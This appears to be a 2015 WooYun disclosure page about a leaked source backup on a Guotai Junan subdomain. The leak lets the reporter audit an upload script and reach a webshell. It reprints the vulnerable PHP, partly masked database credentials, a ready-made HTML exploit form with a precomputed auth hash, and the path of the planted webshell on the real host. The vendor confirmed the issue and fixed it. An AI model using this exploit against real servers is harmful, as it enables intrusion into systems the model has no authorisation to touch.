当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(9) 关注此漏洞

缺陷编号: WooYun-2015-141185

漏洞标题: 国泰君安某站信息泄露导致getshell

相关厂商: 国泰君安

漏洞作者: 路人甲

提交时间: 2015-09-14 23:16

修复时间: 2015-10-10 11:10

公开时间: 2015-10-10 11:10

漏洞类型: 重要敏感信息泄露

危害等级: 中

自评Rank: 10

漏洞状态: 厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 敏感信息泄露 源码泄漏

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-14: 细节已通知厂商并且等待厂商处理中
2015-09-16: 厂商已经确认,细节仅向厂商公开
2015-09-26: 细节向核心白帽子及相关领域专家公开
2015-10-06: 细节向普通白帽子公开
2015-10-10: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

详细说明:

backup : http://nx.gtja.com/web.rar



审计代码:

web/base/appfile.php

code 区域
<?php
define("ROOTPATH", "../");
include(ROOTPATH."includes/common.inc.php");
set_time_limit(0);

//密钥校验
$k=md5(strrev($dbUser.$dbPass));
$h=$_SERVER["HTTP_REFERER"];
$t=$_POST["t"];
$m=$_POST["m"];
$act=$_POST["act"];
$path=$_POST["path"];

$md5=md5($k.$t);
if($m!=$md5){
echo "ERROR: 安全性校验错误";
exit;
}


//文件上传
if($act=="upload"){

$file=$_FILES["file"];
$r_size=$_POST["r_size"];

if ($_FILES["file"]["ERROR"] > 0){
echo "ERROR:".$_FILES["file"]["ERROR"];
exit;
}else{
if($_FILES["file"]["size"]!=$r_size){
echo "ERROR:上传文件错误,文件大小和原文件不匹配";
@write_log("app.log",date("Y-m-d H:i:s",time())." ERROR: 上传文件错误,文件大小和原文件不匹配\n",FILE_APPEND);
exit;
}

//检查目录名
$ToPath="../effect/source/bg";
$Tofile=$ToPath."/".$_FILES["file"]["name"];


if(!is_writable($ToPath)){
echo "ERROR:".$ToPath." 目录不可写,请设置目录属性为可写";
@write_log("app.log",date("Y-m-d H:i:s",time())." ERROR: ".$ToPath." 目录不可写,请设置目录属性为可写\n",FILE_APPEND);
exit;
}

if(file_exists($Tofile) && !is_writable($Tofile)){
echo "ERROR:".$Tofile." 文件不能覆盖,请设置文件属性为可写";
@write_log("app.log",date("Y-m-d H:i:s",time())." ERROR: ".$Tofile." 文件不能覆盖,请设置文件属性为可写\n",FILE_APPEND);
exit;
}


//复制文件
copy($_FILES["file"]["tmp_name"],$Tofile);

switch($_FILES["file"]["type"]){

case "application/octet-stream":
@chmod($Tofile,0755);
break;

default:
@chmod($Tofile,0666);
break;
}

echo "OK";
@write_log("app.log",date("Y-m-d H:i:s",time())." 安装成功: ".$Tofile."\n",FILE_APPEND);
exit;
}


}


function write_log($logfile,$logtext,$mode){
if(intval(substr(phpversion(),0,1))>=5){
@file_put_contents($logfile,$logtext,$mode);
}else{
$fp = fopen($logfile,"a");
fwrite($fp,$logtext);
fclose($fp);
}
}


?>

漏洞证明:

code 区域
$dbHost="localhost";
$dbName="gtj***";
$dbUser="gtj***";
$dbPass="12****21";





exp:

code 区域
<html>
<form action="http://nx.gtja.com/base/appfile.php" method="post" enctype="multipart/form-data">
<input name="r_size" id="r_size" value="269" />
<input name="t" id="t" value="1" />
<input name="m" id="m" value="c23afc0eeee3d2d86e1aacf411fcb623" />
<input name="act" id="act" value="upload" />
<input type="file" name="file" id="file" />
<input type="submit" />
</form>
</html>





webshell:http://nx.gtja.com/effect/source/bg/search.php

修复方案:

删 改

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-09-16 16:45

厂商回复:

谢谢提醒。

最新状态:

2015-10-10:已经修复。谢谢

2015-10-10:非关键应用


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

登录后才能发表评论,请先 登录